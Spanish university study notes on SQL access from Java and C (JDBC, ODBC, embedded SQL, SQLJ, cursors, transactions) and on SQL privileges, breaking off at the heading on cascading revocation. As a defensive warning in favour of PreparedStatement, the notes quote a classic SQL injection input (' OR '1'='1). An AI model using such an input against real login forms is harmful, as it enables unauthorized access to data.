BASES DE DATOS II

Apuntes Completos para el Examen

Temas 1, 2 y 3

Basados en: Silberschatz, Korth & Sudarshan — Database System Concepts, 6ª ed.

TEMA 1: ACCESO A SQL DESDE APLICACIONES DE BASES DE DATOS

1.1 ¿Por qué necesitamos acceder a SQL desde otros lenguajes?

Cuando desarrollamos aplicaciones reales (una web, un sistema bancario, una app móvil), necesitamos combinar el poder de SQL para manejar datos con la capacidad de los lenguajes de propósito general (Java, Python, C, etc.) para hacer todo lo demás: mostrar pantallas, enviar emails, hacer cálculos complejos, interactuar con el usuario...

Hay dos razones fundamentales por las que SQL solo no es suficiente:

- Limitaciones expresivas de SQL: No todo se puede expresar en SQL. Por ejemplo, no podemos hacer recursión arbitraria, no podemos implementar algoritmos complejos, ni lógica condicional avanzada. Necesitamos lenguajes como Java o Python para eso.
- Acciones no declarativas: SQL no puede mostrar ventanas, enviar correos, imprimir reportes, leer teclado, conectarse a APIs externas... Esas tareas las hacen los lenguajes de programación.

ANALOGÍA CLAVE
Imagina que SQL es como un experto en bases de datos que vive en un sótano. Sabe buscar y organizar datos perfectamente, pero no sabe cómo mostrarlos en pantalla ni cómo hablar con usuarios. Java/Python son como el 'mensajero' que habla con ese experto y con el mundo exterior.

1.2 El Problema del Desajuste (Impedance Mismatch)

Existe una diferencia fundamental entre cómo manejan los datos SQL y los lenguajes de programación:

Característica	SQL	Java/Python/C
Unidad básica	Relación (tabla completa, conjunto de tuplas)	Variable individual (un valor a la vez)
Estilo	Declarativo (qué quiero)	Procedural (cómo hacerlo)
Tipos de datos	Tablas, tuplas, columnas	Enteros, arrays, objetos
Devuelve	Conjuntos de filas	Un valor o una estructura

Esto significa que cuando una consulta SQL devuelve 1000 filas, el programa en Java tiene que procesarlas de una en una. Para esto existen mecanismos de traducción.

1.3 Los dos enfoques de integración

SQL Dinámico

El programa construye las consultas SQL como cadenas de texto mientras se ejecuta, las envía al servidor y recibe los resultados. Se hace a través de APIs (interfaces de programación).

- Ejemplos: JDBC (Java), ODBC (C/C++), ADO.NET (.NET)
- Ventaja: Flexibilidad total, se pueden construir consultas en tiempo de ejecución
- Desventaja: Los errores SQL no se detectan hasta que el programa se ejecuta

SQL Embebido (Embedded SQL)

Las sentencias SQL se escriben directamente en el código del programa (el 'lenguaje anfitrión'). Un preprocesador las convierte en llamadas a funciones antes de compilar.

- Ejemplos: SQLJ (para Java), SQL embebido en COBOL, C, Fortran
- Ventaja: Los errores SQL se detectan en tiempo de compilación
- Desventaja: Menos flexible, hay que conocer las consultas de antemano

1.4 JDBC — Java Database Connectivity

¿Qué es JDBC?

JDBC es una API estándar de Java que permite a los programas Java conectarse a CUALQUIER base de datos relacional, siempre que exista un 'driver' (controlador) para esa base de datos. Es como un 'traductor universal' entre Java y las bases de datos.

La arquitectura de JDBC es la siguiente: la aplicación Java habla con la interfaz estándar java.sql, y cada base de datos (Oracle, MySQL, PostgreSQL...) proporciona su propio driver que implementa esa interfaz.

> 📌 **IMPORTANTE**
> JDBC es independiente del motor de base de datos. El mismo código Java funciona con Oracle, MySQL o PostgreSQL simplemente cambiando el driver. Solo cambia la cadena de conexión.

1.4.1 Flujo de trabajo en JDBC (los 5 pasos)

Siempre que uses JDBC, seguirás estos pasos en orden:

1. CONECTAR: Establecer conexión con la base de datos usando DriverManager.getConnection()
2. CREAR CONSULTA: Crear un objeto Statement o PreparedStatement
3. EJECUTAR: Enviar la consulta SQL al servidor
4. PROCESAR RESULTADO: Iterar por las filas del ResultSet
5. CERRAR: Cerrar el Statement y la Connection

Paso 1: Conectar

Para conectarse, se usa el método estático DriverManager.getConnection() que toma tres parámetros:

```
Connection conn = DriverManager.getConnection(
    "jdbc:oracle:thin:@servidor.com:1521:baseDeDatos",  // URL de conexión
    "usuario",                                           // nombre de usuario
    "contraseña"                                         // contraseña
);
```

La URL tiene el formato: jdbc:[tipo_driver]:[protocolo]@[servidor]:[puerto]:[base_de_datos]

Base de Datos	Formato URL JDBC
Oracle	jdbc:oracle:thin:@servidor:puerto:bd
MySQL	jdbc:mysql://servidor:3306/bd
PostgreSQL	jdbc:postgresql://servidor:5432/bd
SQL Server	jdbc:sqlserver://servidor:1433;databaseName=bd

Paso 2 y 3: Crear y Ejecutar consultas

Hay dos tipos de objetos para ejecutar consultas:

- Statement: Para consultas simples que no cambian
- PreparedStatement: Para consultas con parámetros variables (RECOMENDADO)

```
// Con Statement (consulta fija)
Statement stmt = conn.createStatement();
ResultSet rset = stmt.executeQuery("SELECT nombre, sueldo FROM profesor");

// Para inserciones/actualizaciones/borrados usar executeUpdate:
int filasAfectadas = stmt.executeUpdate("INSERT INTO profesor
VALUES('001','Ana','CS',70000)");
```

La diferencia entre executeQuery y executeUpdate es importante:

Método	Cuándo usarlo	Devuelve
executeQuery()	Para SELECT (consultas que devuelven datos)	ResultSet (conjunto de filas)
executeUpdate()	Para INSERT, UPDATE, DELETE, CREATE TABLE...	int (número de filas afectadas)

Paso 4: Procesar el ResultSet

El ResultSet es como un cursor que apunta a las filas del resultado. Se avanza con next() y se lee cada columna con getXxx():

```
while (rset.next()) {  // next() devuelve true si hay más filas
    String nombre = rset.getString("nombre");  // por nombre de columna
    float sueldo = rset.getFloat(2);           // por posición (empieza en 1)
    System.out.println(nombre + ": " + sueldo);
}
rset.close();
stmt.close();
```

Paso 5: Cerrar la conexión

```
stmt.close();
conn.close();  // MUY IMPORTANTE: siempre cerrar al terminar
```

⚠ **ATENCIÓN**
Si no cierras la conexión, se agota el pool de conexiones del servidor y las siguientes conexiones fallarán. Siempre cierra en un bloque finally o usa try-with-resources.

1.4.2 PreparedStatement — La forma segura y eficiente

Un PreparedStatement es una consulta 'precompilada' con marcadores ? que se rellenan después. Es la forma PREFERIDA y OBLIGATORIA cuando los valores vienen del usuario.

Tiene dos grandes ventajas:

- Eficiencia: La base de datos compila la consulta una sola vez y la puede reutilizar muchas veces con diferentes valores. Ideal para consultas repetitivas.
- Seguridad: Previene ataques de Inyección SQL automáticamente (ver Tema 2).

```
// Preparar la consulta con marcadores ?
PreparedStatement pStmt = conn.prepareStatement(
    "INSERT INTO profesor VALUES(?, ?, ?, ?)"
);

// Asignar valores a los marcadores (comienza en 1, no en 0)
pStmt.setString(1, "88877");   // primer ?
pStmt.setString(2, "García");  // segundo ?
pStmt.setString(3, "CS");      // tercer ?
pStmt.setInt(4, 75000);        // cuarto ?

pStmt.executeUpdate();  // ejecutar

// Reutilizar con nuevos valores:
pStmt.setString(1, "88878");   // solo cambio lo que necesito
// el resto de parámetros se mantienen
pStmt.executeUpdate();
```

🔑 **REGLA DE ORO**
NUNCA concatenes cadenas del usuario directamente en una consulta SQL. Siempre usa PreparedStatement. Ejemplo PELIGROSO: 'SELECT * FROM users WHERE pass = ' + inputUsuario. Si el usuario escribe: ' OR '1'='1, ¡obtendrá acceso a todos los registros!

1.4.3 Transacciones en JDBC

Por defecto, JDBC ejecuta cada sentencia como una transacción separada (auto-commit activado). Para agrupar varias operaciones en una sola transacción:

```
conn.setAutoCommit(false);  // desactivar auto-commit
```

```
try {
    stmt.executeUpdate("UPDATE cuentas SET saldo = saldo - 100 WHERE id = 1");
    stmt.executeUpdate("UPDATE cuentas SET saldo = saldo + 100 WHERE id = 2");
    conn.commit();    // confirmar todo junto (DURABILIDAD)
} catch (Exception e) {
    conn.rollback();  // deshacer todo si algo falla (ATOMICIDAD)
}
```

1.4.4 Metadatos en JDBC

JDBC permite descubrir la estructura de la base de datos en tiempo de ejecución, sin conocerla de antemano:

```
// Metadatos del resultado de una consulta
ResultSetMetaData rsmd = rset.getMetaData();
int numColumnas = rsmd.getColumnCount();
for (int i = 1; i <= numColumnas; i++) {
    System.out.println(rsmd.getColumnName(i));    // nombre de columna
    System.out.println(rsmd.getColumnTypeName(i)); // tipo de dato
}

// Metadatos de la base de datos
DatabaseMetaData dbmd = conn.getMetaData();
ResultSet tablas = dbmd.getTables(null, "esquema", "%", null); // todas las
tablas
```

1.5 ODBC — Open Database Connectivity

ODBC es el estándar equivalente a JDBC pero para el lenguaje C (y también C++, C#, Visual Basic). Fue desarrollado originalmente por Microsoft y es muy usado en aplicaciones Windows.

La principal diferencia con JDBC es que ODBC usa 'manejadores' (handles) en lugar de objetos, lo cual es más propio del estilo de C:

```
// En C con ODBC:
SQLAllocEnv(&env);                                  // entorno
SQLAllocConnect(env, &conn);                        // conexión
SQLConnect(conn, "servidor", SQL_NTS, "user", ...);   // conectar
SQLAllocStmt(conn, &stmt);                          // statement
SQLExecDirect(stmt, "SELECT...", SQL_NTS);          // ejecutar
SQLBindCol(stmt, 1, SQL_C_CHAR, nombreDept, 80, &len1); // enlazar columnas
while (SQLFetch(stmt) == SQL_SUCCESS) { /* procesar */ }
SQLFreeStmt(stmt, SQL_DROP);
SQLDisconnect(conn);
```

La lógica es la misma que JDBC: conectar → statement → ejecutar → obtener filas → cerrar.

ODBC en detalle — los 9 pasos completos del PDF del profesor:

```
// ODBC paso a paso tal como explica el profesor:
HENV  env;   // manejador de entorno (environment handle)
HDBC  conn;  // manejador de conexion (connection handle)
```

```
HSTMT stmt;  // manejador de sentencia (statement handle)

// Paso 1: Asignar entorno de SQL
SQLAllocEnv(&env);

// Paso 2: Asignar manejador de conexion
SQLAllocConnect(env, &conn);

// Paso 3: Establecer la conexion (servidor, usuario, contrasena)
SQLConnect(conn, "db.yale.edu", SQL_NTS, "avi", SQL_NTS, "avipasswd", SQL_NTS);

// Paso 4: Crear el manejador de sentencia
SQLAllocStmt(conn, &stmt);

// Paso 5: Enviar SQL directamente
char *sqlquery = "SELECT dept_name, sum(salary) FROM instructor GROUP BY
dept_name";
error = SQLExecDirect(stmt, sqlquery, SQL_NTS);

// Paso 6a: Enlazar columnas del resultado a variables C
char    deptname[80];
int     lenOut1, lenOut2;
float   salary;
if (error == SQL_SUCCESS) {
    SQLBindCol(stmt, 1, SQL_C_CHAR,  deptname, 80, &lenOut1); // columna 1 ->
deptname
    SQLBindCol(stmt, 2, SQL_C_FLOAT, &salary,  0,  &lenOut2); // columna 2 ->
salary
}

// Paso 6b: Obtener tuplas una a una (como FETCH en SQL embebido)
while (SQLFetch(stmt) == SQL_SUCCESS) {
    printf("%s  %g\n", deptname, salary);
}

// Paso 7: Desconectar
SQLDisconnect(conn);

// Paso 8: Liberar manejador de conexion
SQLFreeConnect(conn);

// Paso 9: Liberar entorno
SQLFreeEnv(env);

// TRANSACCIONES EN ODBC:
// Por defecto autocommit=ON. Para desactivarlo:
SQLSetConnectOption(conn, SQL_AUTOCOMMIT, 0);  // desactiva autocommit
// Confirmar o revertir explicitamente:
SQLTransact(conn, SQL_COMMIT);    // confirmar
SQLTransact(conn, SQL_ROLLBACK);  // revertir
```

NIVELES DE CONFORMIDAD DE ODBC

La norma ODBC define NIVELES DE CONFORMIDAD que especifican subconjuntos de su funcionalidad: - Nivel básico: operaciones fundamentales de conexion y consulta - Nivel 1 (Core): nivel basico + funciones adicionales de metadatos - Nivel 2 (Extended):

nivel 1 + funciones avanzadas como cursores desplazables Una implementacion puede soportar solo el nivel basico o niveles mas avanzados segun el fabricante del driver.

ADO.NET
ADO.NET es el equivalente para los lenguajes de la plataforma .NET de Microsoft (C#, Visual Basic.NET). Similar en concepto a JDBC pero más simple de usar. También soporta fuentes de datos no relacionales como XML.

1.6 SQL Embebido y Cursores

¿Qué es SQL Embebido?

El SQL embebido permite escribir sentencias SQL directamente dentro del código de un lenguaje anfitrión (como C, Cobol, Fortran). Un preprocesador convierte esas sentencias en llamadas a funciones antes de compilar.

El mecanismo de comunicacion entre el SQL embebido y el programa C se hace a través del SQLCA (SQL Communication Area): un area de memoria que el SGBD utiliza para reportar el estado de cada operacion al programa C. El codigo SQLSTATE (almacenado en SQLCA) indica si la ultima operacion fue exitosa o que error ocurrio:

```
/* Paso 0: incluir el SQLCA en el programa */
SQL INCLUDE SQLCA;  /* esto reserva el area de comunicacion con el SGBD */

/* Conectar */
EXEC SQL connect to servidor user miUsuario using miPassword;

/* Declarar variables del lenguaje anfitron (se usan en las sentencias SQL) */
EXEC SQL BEGIN DECLARE SECTION;
    char dni[8];        /* variable C para ID del empleado */
    char nombre[50];    /* variable C para nombre */
    float salario;      /* variable C para salario */
EXEC SQL END DECLARE SECTION;

/* Insercion usando variables C: se prefijan con : para distinguirlas de
atributos SQL */
EXEC SQL INSERT INTO empleados VALUES (:dni, :nombre, :salario);

/* Consultar usando variable C como parametro */
EXEC SQL SELECT salario INTO :salario FROM empleados WHERE id = :dni;
/* INTO :variable almacena el resultado directamente en la variable C */

/* Preparar una consulta dinamicamente (cuando la consulta no se conoce en
compilacion) */
EXEC SQL PREPARE q FROM :consulta;  /* consulta es una variable char* con el SQL
*/
EXEC SQL OPEN q;                     /* ejecutar la consulta preparada */
```

Las sentencias SQL embebidas van precedidas de EXEC SQL para que el preprocesador las identifique:

```
EXEC SQL connect to servidor user miUsuario using miPassword;

EXEC SQL BEGIN DECLARE SECTION;
    char dni[8];
    char nombre[50];
    float salario;
EXEC SQL END DECLARE SECTION;

// Inserción directa:
EXEC SQL INSERT INTO empleados VALUES (:dni, :nombre, :salario);
// Nota: las variables del lenguaje anfitrión van precedidas de :
```

El Cursor: solución al problema de las múltiples filas

El principal desafío del SQL embebido es que una consulta puede devolver muchas filas, pero el lenguaje anfitrión solo puede manejar una variable a la vez. La solución es el CURSOR.

El cursor actúa como un puntero que va recorriendo las filas del resultado una a una. Se maneja con tres comandos:

Comando	Qué hace	Cuándo
OPEN cursor	Evalúa la consulta y prepara el resultado	Antes de leer filas
FETCH cursor INTO vars	Trae la siguiente fila a las variables	En cada iteración del bucle
CLOSE cursor	Libera la memoria del resultado	Al terminar de leer

```
EXEC SQL DECLARE c CURSOR FOR
    SELECT id, nombre
    FROM empleados
    WHERE salario > :salario;

EXEC SQL OPEN c;   -- evalúa la consulta con el valor actual de :salario

DO {
    EXEC SQL FETCH c INTO :dni, :nombre;
    if (SQLSTATE != '02000')   -- '02000' significa "no hay más datos"
        printf("%s: %s
", dni, nombre);
} while (SQLSTATE != '02000');

EXEC SQL CLOSE c;
```

ANALOGÍA DEL CURSOR

El cursor es como una lista de reproducción de música. OPEN crea la lista, FETCH es como pulsar 'siguiente canción' (avanza de una en una), CLOSE es cerrar la aplicación y liberar memoria.

Los cursores también permiten modificar datos mientras se itera. Para ello se declara el cursor con FOR UPDATE:

```
EXEC SQL DECLARE c CURSOR FOR
    SELECT * FROM profesores WHERE departamento = 'Música'
    FOR UPDATE;  -- indica que vamos a modificar

EXEC SQL OPEN c;
DO {
    EXEC SQL FETCH c INTO :id, :nombre, :sueldo;
    EXEC SQL UPDATE profesores
             SET sueldo = sueldo + 100
             WHERE CURRENT OF c;  -- modifica la fila actual del cursor
} while (SQLSTATE != '02000');
```

1.6.1 SQLJ — SQL Embebido para Java

SQLJ es la versión de SQL embebido específica para Java. Usa la sintaxis #sql en lugar de EXEC SQL, y en lugar de cursores usa el concepto de 'iterador' de Java, que es más natural para ese lenguaje.

```
// Declarar el tipo de iterador (qué columnas tendrá)
#sql iterator DeptInfoIter (String nombre_dept, int sueldoMedio);

DeptInfoIter iter = null;
#sql iter = { SELECT nombre_dept, AVG(sueldo) FROM profesor GROUP BY nombre_dept
};

// Recorrer como cualquier colección Java:
while (iter.next()) {
    String dept = iter.nombre_dept();
    int media = iter.sueldoMedio();
    System.out.println(dept + ": " + media);
}
iter.close();
```

> 📌 **VENTAJA DE SQLJ**
> SQLJ puede verificar la corrección sintáctica de las consultas SQL en tiempo de compilación, algo que JDBC no puede hacer (en JDBC los errores SQL solo se detectan al ejecutar). Esto hace el desarrollo más seguro.

1.7 Resumen: Comparación de tecnologías

Tecnología	Lenguaje	Tipo	Detección errores SQL	Cuándo usarlo
JDBC	Java	Dinámico (API)	En ejecución	Aplicaciones Java, máxima flexibilidad

Tecnología	Lenguaje	Tipo	Detección errores SQL	Cuándo usarlo
ODBC	C/C++	Dinámico (API)	En ejecución	Aplicaciones C/Windows, acceso universal
ADO.NET	C#/VB.NET	Dinámico (API)	En ejecución	Plataforma .NET, también datos XML
SQL Embebido	C, Cobol, etc.	Estático (preprocesador)	En compilación	Cuando se conocen consultas de antemano
SQLJ	Java	Estático (preprocesador)	En compilación	Java con verificación en compilación

TABLA RESUMEN TEMA 1
Las palabras clave a recordar: JDBC=Java+API, ODBC=C+API, PreparedStatement=seguro y eficiente, Cursor=una fila a la vez, SQLJ=SQL embebido en Java con iteradores.

1.8 Manejo de Excepciones y Cierre Seguro en JDBC

En la práctica real, SIEMPRE hay que gestionar excepciones. Un error muy común es no cerrar la conexión cuando se produce una excepción, lo que agota el pool de conexiones.

```
// PATRÓN CORRECTO con try-with-resources (Java 7+):
try (Connection conn = DriverManager.getConnection(url, user, pass);
     PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM instructor
WHERE dept_name = ?")) {

    pstmt.setString(1, "Physics");     // asigno el valor del primer ?
    ResultSet rs = pstmt.executeQuery();

    while (rs.next()) {
        // rs.getString("columna") — obtiene valor por NOMBRE de columna
        // rs.getString(1)          — obtiene valor por POSICIÓN (empieza en 1,
no 0)
        System.out.println(rs.getString("nombre") + " - " +
rs.getFloat("sueldo"));
    }
    // Java cierra automáticamente conn y pstmt al salir del try

} catch (SQLException e) {
    // SQLException contiene código de error SQL específico del SGBD
    System.err.println("Error SQL: " + e.getSQLState() + " - " + e.getMessage());
}

// PATRÓN CLÁSICO con finally (Java < 7):
Connection conn = null;
```

```
try {
    conn = DriverManager.getConnection(url, user, pass);
    // ... operaciones ...
} catch (SQLException e) {
    e.printStackTrace();
} finally {
    if (conn != null) conn.close();  // SIEMPRE se ejecuta aunque haya excepción
}
```

1.9 CallableStatement — Invocar Procedimientos Almacenados

La interfaz CallableStatement permite llamar a procedimientos e invocaciones almacenados directamente desde Java. Funciona igual que PreparedStatement pero para llamadas a procedimientos definidos en la base de datos.

```
// Llamar a un procedimiento almacenado:
// En la BD existe: CREATE PROCEDURE calcular_bonus(IN emp_id INT, OUT bonus
DECIMAL)

CallableStatement cstmt = conn.prepareCall("{call calcular_bonus(?, ?)}"); //
sintaxis JDBC

cstmt.setInt(1, 12345);                        // parámetro de ENTRADA (IN) →
primer ?
cstmt.registerOutParameter(2, Types.DECIMAL);  // registrar parámetro de SALIDA
(OUT) → segundo ?

cstmt.execute();  // ejecutar el procedimiento almacenado

double bonus = cstmt.getDouble(2);  // recuperar el valor devuelto por el
parámetro OUT
System.out.println("Bonus calculado: " + bonus);
```

Interfaz JDBC	Para qué se usa	Cuándo elegirla
Statement	Sentencias SQL simples y fijas, sin parámetros	Solo si la consulta es fija y NO viene del usuario
PreparedStatement	Consultas con parámetros ? variables o que vienen del usuario	SIEMPRE que los valores sean dinámicos (lo más habitual)
CallableStatement	Invocar procedimientos y funciones almacenados en la BD	Cuando la lógica está encapsulada en la base de datos

1.10 El Problema del Desfase de Impedancia (Impedance Mismatch)

Este concepto es clave para entender por qué necesitamos mecanismos como JDBC. El 'desfase de impedancia' es la incompatibilidad fundamental entre el modelo de SQL y el de los lenguajes de programación:

SQL (modelo relacional)	Java/C (lenguajes de programación)
Trabaja con CONJUNTOS de tuplas (tablas enteras a la vez)	Trabaja con VARIABLES INDIVIDUALES (un valor a la vez)
Tipos: INTEGER, VARCHAR, DECIMAL, DATE, BLOB...	Tipos: int, String, double, Date, byte[]...
Un SELECT puede devolver 0, 1 o millones de filas	Una variable solo tiene UN valor en cada momento
El resultado de SELECT es una relación (tabla)	No existe un tipo 'tabla' nativo en Java o C

La solución es el CURSOR/ITERATOR: recorre el conjunto de resultados FILA A FILA, convirtiendo el resultado relacional en una secuencia que el programa puede procesar con un bucle:

```
// El ResultSet de JDBC ES el cursor
ResultSet rs = stmt.executeQuery("SELECT * FROM instructor");

// rs.next() avanza al siguiente registro (devuelve true si existe siguiente)
// El cursor empieza apuntando ANTES de la primera fila

while (rs.next()) {         // mientras haya más filas disponibles
    // Ahora rs apunta a la fila ACTUAL
    String nombre = rs.getString("nombre");     // extraer columna 'nombre' de
esta fila
    double sueldo = rs.getDouble("sueldo");     // extraer columna 'sueldo' de
esta fila
    // Procesamos UNA SOLA FILA a la vez (como el lenguaje necesita)
    System.out.println(nombre + ": " + sueldo);
}
// rs.next() devuelve false cuando ya no hay mas filas -> el bucle termina
```

1.11 Transacciones en JDBC — setAutoCommit, commit y rollback

Por defecto JDBC tiene AUTO-COMMIT activado: cada sentencia SQL es automáticamente una transacción independiente que se confirma al instante. Para agrupar varias operaciones en una sola transacción atómica (todo o nada), hay que desactivarlo:

```
// SIN desactivar autocommit (PELIGROSO para operaciones relacionadas):
// Si la segunda falla, la primera ya esta confirmada -> inconsistencia posible
stmt.executeUpdate("UPDATE cuenta SET saldo = saldo - 500 WHERE id = 'A'"); //
commit automatico
stmt.executeUpdate("UPDATE cuenta SET saldo = saldo + 500 WHERE id = 'B'"); //
commit automatico

// ============================================================
// PATRON CORRECTO: desactivar autocommit para hacer atomico
// ============================================================
conn.setAutoCommit(false);  // PASO 1: desactivar autocommit
                            // A partir de aqui, el SGBD no confirma nada solo
                            // hasta que nosotros lo indiquemos
try {
    // Operacion 1: descontar de la cuenta origen
    PreparedStatement restar = conn.prepareStatement(
        "UPDATE cuenta SET saldo = saldo - ? WHERE id = ?"
```

```
    );
    restar.setDouble(1, 500);   // primer ?: importe a restar
    restar.setString(2, "A");   // segundo ?: id de la cuenta origen
    restar.executeUpdate();     // ejecuta la sentencia, pero NO confirma aun

    // Operacion 2: ingresar en la cuenta destino
    PreparedStatement sumar = conn.prepareStatement(
        "UPDATE cuenta SET saldo = saldo + ? WHERE id = ?"
    );
    sumar.setDouble(1, 500);    // primer ?: importe a sumar
    sumar.setString(2, "B");    // segundo ?: id de la cuenta destino
    sumar.executeUpdate();      // ejecuta la sentencia, pero NO confirma aun

    conn.commit();  // PASO 2: CONFIRMAR ambas operaciones juntas
    // Solo aqui los cambios se hacen permanentes en la BD (principio de
ATOMICIDAD)
    // Si llegamos aqui, transferencia completada con exito

} catch (SQLException e) {
    conn.rollback();  // PASO 3 (solo si hay error): DESHACER todo lo que hicimos
                      // La cuenta A vuelve a tener su saldo original
                      // La cuenta B no se toco (o si se toco, se deshace)
    throw e;          // re-lanzar para que el codigo que llamo a este metodo
sepa del error
} finally {
    conn.setAutoCommit(true);  // PASO 4: restaurar autocommit para usos futuros
}
```

REGLA DE ORO TRANSACCIONES JDBC
setAutoCommit(false) + commit() en el bloque try + rollback() en el bloque catch = transaccion ATOMICA. Sin esto, una transferencia bancaria podria restar dinero de A sin sumarlo a B si falla a mitad.

1.12 Metadatos en JDBC — Conocer la estructura en tiempo de ejecucion

Los metadatos son 'datos sobre los datos': informacion sobre la estructura del resultado o de la BD (nombres de columnas, tipos, tablas disponibles...). Muy utiles para escribir codigo generico.

ResultSetMetaData — informacion sobre las columnas del resultado

```
ResultSet rs = stmt.executeQuery("SELECT id, nombre, sueldo FROM instructor");
ResultSetMetaData rsmd = rs.getMetaData();  // obtener objeto de metadatos

// Cuantas columnas tiene el resultado:
int numCols = rsmd.getColumnCount();  // devuelve 3 (id, nombre, sueldo)

// Ver el nombre y tipo de cada columna (indices empiezan en 1, NO en 0):
for (int i = 1; i <= numCols; i++) {
    System.out.println(
        "Col " + i + ": " + rsmd.getColumnName(i)      // nombre: "id", "nombre",
"sueldo"
```

```
        + " tipo=" + rsmd.getColumnTypeName(i)          // tipo SQL: "INTEGER",
"VARCHAR", "DECIMAL"
    );
}

// Uso practico: mostrar cualquier ResultSet sin conocer su estructura de
antemano
while (rs.next()) {
    for (int i = 1; i <= numCols; i++) {
        System.out.print(rs.getString(i) + "  ");  // getString() convierte
cualquier tipo a texto
    }
    System.out.println();
}
```

DatabaseMetaData — informacion sobre la base de datos completa

```
DatabaseMetaData dbmd = conn.getMetaData();

// Listar todas las tablas del esquema:
ResultSet tablas = dbmd.getTables(
    null,         // catalogo (null = cualquiera)
    "public",     // esquema donde buscar
    "%",          // patron de nombre (% = cualquier nombre)
    null          // tipo de objeto (null = todos)
);
while (tablas.next()) {
    System.out.println("Tabla: " + tablas.getString("TABLE_NAME"));
}

// Listar columnas de la tabla 'instructor':
ResultSet cols = dbmd.getColumns(null, "public", "instructor", "%");
while (cols.next()) {
    System.out.println(
        cols.getString("COLUMN_NAME") + " - "
        + cols.getString("TYPE_NAME")
        + " [nullable=" + cols.getString("IS_NULLABLE") + "]"
    );
}
```

🖊 EJERCICIO del Profesor: Programa JDBC completo con PreparedStatement y metadatos

Escribe un metodo Java que reciba una Connection ya abierta y un nombre de departamento,
busque todos los instructores de ese departamento usando PreparedStatement,
muestre cuantas columnas tiene el resultado con ResultSetMetaData,
muestre los datos fila a fila, y cierre correctamente los recursos.
Tabla: instructor(ID, nombre, nombre_dept, sueldo)

✅ **SOLUCIÓN:**

public static void buscarPorDept(Connection conn, String dept) throws SQLException {

// PreparedStatement: la consulta tiene ? como marcador para el parametro

```
    // Ventaja 1: el SGBD compila esta consulta UNA SOLA VEZ aunque la llamemos 1000 veces
    // Ventaja 2: automaticamente seguro contra SQL Injection
    String sql = "SELECT ID, nombre, sueldo FROM instructor WHERE nombre_dept = ?";
    PreparedStatement pstmt = conn.prepareStatement(sql);

    // Asignar valor al primer ?: setString(posicion, valor)
    // posicion=1 porque es el PRIMER ? de la consulta
    // Si hubiera otro ? seria setXxx(2, valor), etc.
    pstmt.setString(1, dept);

    // executeQuery() para SELECT: devuelve ResultSet con las filas resultantes
    // executeUpdate() seria para INSERT/UPDATE/DELETE (devolveria numero de filas)
    ResultSet rs = pstmt.executeQuery();

    // Obtener metadatos: cuantas columnas y como se llaman
    ResultSetMetaData rsmd = rs.getMetaData();
    System.out.println("Columnas: " + rsmd.getColumnCount()); // imprime 3

    // Recorrer los resultados: rs.next() avanza a la siguiente fila
    // Devuelve true si habia fila, false si ya no quedan mas
    while (rs.next()) {
        System.out.println(
            rs.getString("ID")       // valor de columna 'ID' como texto
            + " | " + rs.getString("nombre")    // valor de 'nombre'
            + " | " + rs.getDouble("sueldo")    // valor de 'sueldo' como decimal
        );
    }

    rs.close();     // siempre cerrar el ResultSet al terminar
    pstmt.close();  // siempre cerrar el PreparedStatement
    // NO cerramos conn: fue creada fuera del metodo y el llamador la cerrara
}
```

TEMA 2: SEGURIDAD

2.1 ¿Qué es la seguridad en bases de datos?

La seguridad en bases de datos tiene dos grandes dimensiones:

- Autorización SQL (Capítulo 4.6): Quién puede hacer qué dentro de la base de datos (privilegios sobre tablas, columnas, vistas...).
- Seguridad de aplicaciones (Capítulo 9.7): Cómo proteger las aplicaciones que acceden a la base de datos frente a ataques externos.

Un sistema puede tener autorización SQL perfecta, pero si la aplicación está mal escrita, un atacante puede saltársela. Por eso la seguridad es una cadena: tan fuerte como su eslabón más débil.

2.2 Autorización SQL — Privilegios

¿Qué son los privilegios?

Los privilegios son permisos que se otorgan a usuarios o roles para realizar acciones sobre partes específicas de la base de datos. Cuando un usuario intenta una operación, el sistema verifica primero si tiene el privilegio necesario; si no lo tiene, la rechaza.

Privilegio	Qué permite	Nota especial
SELECT	Leer datos (consultas)	El más común. Puede limitarse a columnas específicas
INSERT	Insertar nuevas filas	Puede limitarse a ciertas columnas; el resto toma valor NULL o por defecto
UPDATE	Modificar filas existentes	Puede limitarse a columnas específicas
DELETE	Eliminar filas	Se aplica a toda la tabla, no a columnas individuales
REFERENCES	Crear claves foráneas hacia una tabla	Necesario porque restringe borrados/actualizaciones en la tabla referenciada
EXECUTE	Ejecutar funciones/procedimientos almacenados	Controla quién puede llamar a la función
ALL PRIVILEGES	Todos los privilegios anteriores	Forma abreviada para conceder todo

2.2.1 GRANT — Conceder privilegios

El comando GRANT otorga privilegios a usuarios o roles. La sintaxis básica es:

```
GRANT <lista_de_privilegios>
```

```
ON <nombre_relación_o_vista>
TO <lista_de_usuarios_o_roles> [WITH GRANT OPTION];
```

Ejemplos:

```
-- Dar permiso de lectura a dos usuarios:
GRANT SELECT ON departamento TO Amit, Satoshi;

-- Dar permiso de actualizar solo la columna presupuesto:
GRANT UPDATE (presupuesto) ON departamento TO Amit, Satoshi;

-- Dar permiso de INSERTAR solo algunas columnas (el resto tendra NULL o valor
por defecto):
-- Si Amit inserta, debe poner nombre_dept y edificio; presupuesto sera NULL
GRANT INSERT (nombre_dept, edificio) ON departamento TO Amit;

-- Dar permiso de referencias (para crear FK apuntando a esta tabla):
GRANT REFERENCES (ID) ON instructor TO bob;
-- bob podra hacer: FOREIGN KEY (prof_id) REFERENCES instructor(ID)

-- Dar permiso de insertar en profesor Y que Amit pueda otorgarlo a otros:
GRANT INSERT ON profesor TO Amit WITH GRANT OPTION;

-- Dar todos los privilegios al usuario público (todos los usuarios):
GRANT ALL PRIVILEGES ON ventas TO public;
```

📌 WITH GRANT OPTION
Si no se incluye WITH GRANT OPTION, el receptor del privilegio NO puede otorgárselo a otros. Con esta cláusula, el receptor puede transmitir el privilegio a terceros. Es como la diferencia entre recibir un regalo y recibir una copia para regalar.

2.2.2 REVOKE — Revocar privilegios

El comando REVOKE retira privilegios. Su sintaxis es casi idéntica a GRANT pero usa FROM en vez de TO:

```
REVOKE <lista_de_privilegios>
ON <nombre_relación_o_vista>
FROM <lista_de_usuarios_o_roles> [CASCADE | RESTRICT];
```

```
-- Revocar permiso de lectura:
REVOKE SELECT ON departamento FROM Amit, Satoshi;

-- Revocar solo la opción de conceder (no el privilegio en sí):
REVOKE GRANT OPTION FOR SELECT ON departamento FROM Amit;

-- Revocar sin que afecte a otros (si causaría cascada, falla):
REVOKE SELECT ON departamento FROM Amit RESTRICT;
```

2.2.3 Revocación en Cascada

